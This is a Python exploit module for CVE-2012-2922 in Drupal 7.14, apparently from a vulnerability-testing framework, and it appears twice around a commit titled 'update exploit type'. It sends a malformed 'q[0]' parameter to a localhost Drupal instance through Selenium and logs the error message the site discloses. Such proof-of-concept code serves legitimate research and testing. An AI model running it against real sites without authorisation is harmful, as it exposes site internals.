import sys
import time
import selenium.common.exceptions
import framework


class Exploit (framework.Exploit):

    attributes = {'Name' :        "CVE_2012_2922",
                  'Description' : "Drupal 7.14 (Core) XSS Vulnerabilities",
                  'References' :  ['http://seamster.cs.umd.edu/vulwiki/index.php/CVE-2012-2922'],
                  'Target' :      "Drupal 7.14",
                  'TargetLicense' : '',
                  'VulWikiPage' : "",
                  'Type' : 'Information Disclosure'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            
    def exploit(self):
        self.logger.info("Running Exploit()")
        payload = "q[0]=some_garbage"

        driver = self.create_selenium_driver()
        driver.get("http://localhost/drupal/index.php?"+payload)
        self.logger.info("Page opened successfully: %s", driver.title)
        element = driver.get_element(by_xpath="//div[@class='messages error']")
        self.logger.info("Displayed Error Message: " + element.text)
        if self.visible:
            time.sleep(10)
        
        driver.cleanup()
        return


import sys
import time
import selenium.common.exceptions
import framework


class Exploit (framework.Exploit):

    attributes = {'Name' :        "CVE_2012_2922",
                  'Description' : "Drupal 7.14 (Core) XSS Vulnerabilities",
                  'References' :  ['http://seamster.cs.umd.edu/vulwiki/index.php/CVE-2012-2922'],
                  'Target' :      "Drupal 7.14",
                  'TargetLicense' : '',
                  'VulWikiPage' : "",
                  'Type' : 'INFO'
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
            
    def exploit(self):
        self.logger.info("Running Exploit()")
        payload = "q[0]=some_garbage"

        driver = self.create_selenium_driver()
        driver.get("http://localhost/drupal/index.php?"+payload)
        self.logger.info("Page opened successfully: %s", driver.title)
        element = driver.get_element(by_xpath="//div[@class='messages error']")
        self.logger.info("Displayed Error Message: " + element.text)
        if self.visible:
            time.sleep(10)
        
        driver.cleanup()
        return


update exploit type